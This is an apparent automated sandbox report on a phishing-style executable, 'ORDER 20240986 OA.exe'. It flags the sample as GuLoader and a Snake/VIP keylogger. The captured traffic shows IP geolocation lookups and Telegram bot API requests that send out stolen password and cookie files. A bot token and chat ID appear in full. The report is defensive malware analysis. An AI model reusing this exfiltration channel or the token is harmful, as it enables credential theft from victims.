2024-11-21 08:01:40 UTC	853	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 08:01:39 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 140008 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=J7vXCTFNLL2MlgseCPjmT8l88Moyd%2FoeUBksyENYNdq32Mxixoz9ZKzDdSxByeRUbiD%2FBQpeIkm1KXF4FT3%2BaxuPDh4750je7tm9qBKNgK2KtE9P1TBz8SE8IiExvX%2BhUiZy6dv9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5f27308ab17286-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2275&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=698&delivery_rate=1291463&cwnd=240&unsent_bytes=0&cid=68660393d41762f6&ts=460&x=0"
2024-11-21 08:01:40 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49842	188.114.96.3	443	7832	C:\Users\user\Desktop\ORDER 20240986 OA.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 08:01:42 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-21 08:01:43 UTC	857	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 08:01:43 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 140012 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0gnet9nWPe31DGAbo7f9g%2BaBYGMmy%2BMVxzOgegpvmYkvEtxaTiZ%2FLrUAPCSBWALiK3HFTX8jyTMz3qujU3E%2FqLe7oMH%2B4g%2FVqdIG0mRYfrPSdSwEzanXtWgp435m8k6vLrw1tqqC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5f274449425e7c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1685&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2850&recv_bytes=698&delivery_rate=1716637&cwnd=187&unsent_bytes=0&cid=d34e4d417a7dfe1e&ts=456&x=0"
2024-11-21 08:01:43 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49851	188.114.96.3	443	7832	C:\Users\user\Desktop\ORDER 20240986 OA.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 08:01:45 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-21 08:01:46 UTC	855	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 08:01:46 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 140015 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qLGXS8gFT%2B4gWUiQOpNaL3CsM5oMdom%2BIRbU5Cmr4d2gW3uKC9TWUBaBOrBfKI%2BCw4I84Uuu6sY7nH4o1d0X%2FwE2lDxLmuwljeN4CDJ7pxjAkcIvRP8hJIP%2FqHsRNA1oiNLUabG8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5f275809008cdd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1804&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=698&delivery_rate=1544973&cwnd=170&unsent_bytes=0&cid=5e60a042f1240c22&ts=459&x=0"
2024-11-21 08:01:46 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49859	188.114.96.3	443	7832	C:\Users\user\Desktop\ORDER 20240986 OA.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 08:01:49 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-21 08:01:49 UTC	857	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 08:01:49 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 140018 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ewrXjXlxuNly9oWJHizS3D1TvHKtZ4y81gpoqkVp8QzIlkSEJ4IrGCvyNs88W3smG63gnwEp29tK%2Be1zsYhVB35qLoaiVLx35NQy%2Fq%2F23u4%2BifuaAzRV4hMXQ2%2ByREF8%2BTz0Ysv6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5f276b986f7281-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1804&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=698&delivery_rate=1552365&cwnd=228&unsent_bytes=0&cid=450f86fc22298d86&ts=469&x=0"
2024-11-21 08:01:49 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49870	188.114.96.3	443	7832	C:\Users\user\Desktop\ORDER 20240986 OA.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 08:01:53 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-21 08:01:53 UTC	857	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 08:01:53 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 140022 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=h058nOJYq2otra9X0qZxsJ6ysNjgWbdI2rzFWC%2BG%2BojmrMJTaKfXpJAJ0gp6doBQkoIgYCq9xWcHmdnWgobE2kJ7gcf1mcY%2FOKROI%2FRp2GnpNeIAnGslFv4X4c18aPOh%2FfFG9%2BRy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5f2784684643fb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1763&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=698&delivery_rate=1647855&cwnd=179&unsent_bytes=0&cid=03567dd58e37f8e2&ts=453&x=0"
2024-11-21 08:01:53 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49876	149.154.167.220	443	7832	C:\Users\user\Desktop\ORDER 20240986 OA.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 08:01:55 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:897506%0D%0ADate%20and%20Time:%2022/11/2024%20/%2006:52:58%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20897506%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-11-21 08:01:55 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Thu, 21 Nov 2024 08:01:55 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-21 08:01:55 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49896	149.154.167.220	443	7832	C:\Users\user\Desktop\ORDER 20240986 OA.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 08:02:03 UTC	344	OUT	POST /bot7396856636:AAFzZvZlhz352HQorBY7sPxLQBc4vVQnrB8/sendDocument?chat_id=6553726543&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0b4a7224cc3a Host: api.telegram.org Content-Length: 580
2024-11-21 08:02:03 UTC	580	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 62 34 61 37 32 32 34 63 63 33 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 37 35 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 31 2f 31 31 2f 32 30 32 34 20 2f 20 30 33 3a 30 31 3a 32 33 0d Data Ascii: --------------------------8dd0b4a7224cc3aContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:897506Date and Time: 21/11/2024 / 03:01:23
2024-11-21 08:02:04 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 21 Nov 2024 08:02:04 GMT Content-Type: application/json Content-Length: 549 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-21 08:02:04 UTC	549	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 37 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 33 39 36 38 35 36 36 33 36 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4b 41 59 4d 41 53 54 45 52 53 20 4d 45 47 41 20 53 45 52 56 49 43 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4b 61 79 6d 61 73 74 65 72 73 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 35 35 33 37 32 36 35 34 33 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4a 6f 68 6e 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 44 6f 65 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 42 6c 61 63 6b 77 65 61 6c 74 68 30 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 Data Ascii: {"ok":true,"result":{"message_id":178,"from":{"id":7396856636,"is_bot":true,"first_name":"KAYMASTERS MEGA SERVICE","username":"KaymastersBot"},"chat":{"id":6553726543,"first_name":"John","last_name":"Doe","username":"Blackwealth001","type":"private"},"dat

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49902	149.154.167.220	443	7832	C:\Users\user\Desktop\ORDER 20240986 OA.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 08:02:09 UTC	350	OUT	POST /bot7396856636:AAFzZvZlhz352HQorBY7sPxLQBc4vVQnrB8/sendDocument?chat_id=6553726543&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0ACookies%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0b6f4848dbcf Host: api.telegram.org Content-Length: 7045
2024-11-21 08:02:09 UTC	7045	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 62 36 66 34 38 34 38 64 62 63 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 43 6f 6f 6b 69 65 73 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 43 6f 6f 6b 69 65 73 20 7c 20 6a 6f 6e 65 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 37 35 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 31 2f 31 31 2f 32 30 32 34 20 2f Data Ascii: --------------------------8dd0b6f4848dbcfContent-Disposition: form-data; name="document"; filename="Cookies_Recovered.txt"Content-Type: application/x-ms-dos-executableCookies \| user \| VIP Recovery PC Name:897506Date and Time: 21/11/2024 /
2024-11-21 08:02:10 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 21 Nov 2024 08:02:10 GMT Content-Type: application/json Content-Length: 560 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-21 08:02:10 UTC	560	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 37 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 33 39 36 38 35 36 36 33 36 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4b 41 59 4d 41 53 54 45 52 53 20 4d 45 47 41 20 53 45 52 56 49 43 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4b 61 79 6d 61 73 74 65 72 73 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 35 35 33 37 32 36 35 34 33 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4a 6f 68 6e 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 44 6f 65 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 42 6c 61 63 6b 77 65 61 6c 74 68 30 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 Data Ascii: {"ok":true,"result":{"message_id":179,"from":{"id":7396856636,"is_bot":true,"first_name":"KAYMASTERS MEGA SERVICE","username":"KaymastersBot"},"chat":{"id":6553726543,"first_name":"John","last_name":"Doe","username":"Blackwealth001","type":"private"},"dat

Target ID:	0
Start time:	02:59:59
Start date:	21/11/2024
Path:	C:\Users\user\Desktop\ORDER 20240986 OA.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\ORDER 20240986 OA.exe"
Imagebase:	0x400000
File size:	560'512 bytes
MD5 hash:	9F036462B07002EFDF646B0995217BBD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_3, Description: Yara detected GuLoader, Source: 00000000.00000002.2287296673.000000000083C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.2287809032.0000000003873000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:00:59
Start date:	21/11/2024
Path:	C:\Users\user\Desktop\ORDER 20240986 OA.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\ORDER 20240986 OA.exe"
Imagebase:	0x400000
File size:	560'512 bytes
MD5 hash:	9F036462B07002EFDF646B0995217BBD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000004.00000002.2970820723.0000000037BD1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000004.00000002.2970820723.0000000037D51000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000004.00000002.2970820723.0000000037D51000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.2970820723.0000000037CDA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	19%
Dynamic/Decrypted Code Coverage:	13.7%
Signature Coverage:	20.1%
Total number of Nodes:	1557
Total number of Limit Nodes:	38

Executed Functions

Function 0040336C Relevance: 86.2, APIs: 32, Strings: 17, Instructions: 410
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 0040338F
GetVersion.KERNEL32 ref: 00403395
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 004033C8
#17.COMCTL32(?,00000006,00000008,0000000A), ref: 00403405
OleInitialize.OLE32(00000000), ref: 0040340C
SHGetFileInfoW.SHELL32(0079FEE0,00000000,?,000002B4,00000000), ref: 00403428
GetCommandLineW.KERNEL32(007A7A20,NSIS Error,?,00000006,00000008,0000000A), ref: 0040343D
CharNextW.USER32(00000000,"C:\Users\user\Desktop\ORDER 20240986 OA.exe",00000020,"C:\Users\user\Desktop\ORDER 20240986 OA.exe",00000000,?,00000006,00000008,0000000A), ref: 00403475

Part of subcall function 00406671: GetModuleHandleA.KERNEL32(?,00000020,?,004033DE,0000000A), ref: 00406683
Part of subcall function 00406671: GetProcAddress.KERNEL32(00000000,?), ref: 0040669E

GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 004035AF
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000006,00000008,0000000A), ref: 004035C0
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,00000008,0000000A), ref: 004035CC
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,00000008,0000000A), ref: 004035E0
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low,?,00000006,00000008,0000000A), ref: 004035E8
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000006,00000008,0000000A), ref: 004035F9
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 00403601
DeleteFileW.KERNELBASE(1033,?,00000006,00000008,0000000A), ref: 00403615

Part of subcall function 00406297: lstrcpynW.KERNEL32(?,?,00000400,0040343D,007A7A20,NSIS Error,?,00000006,00000008,0000000A), ref: 004062A4

OleUninitialize.OLE32(00000006,?,00000006,00000008,0000000A), ref: 004036E0
ExitProcess.KERNEL32 ref: 00403701
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\ORDER 20240986 OA.exe",00000000,00000006,?,00000006,00000008,0000000A), ref: 00403714
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A26C,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\ORDER 20240986 OA.exe",00000000,00000006,?,00000006,00000008,0000000A), ref: 00403723
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\ORDER 20240986 OA.exe",00000000,00000006,?,00000006,00000008,0000000A), ref: 0040372E
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\ORDER 20240986 OA.exe",00000000,00000006,?,00000006,00000008,0000000A), ref: 0040373A
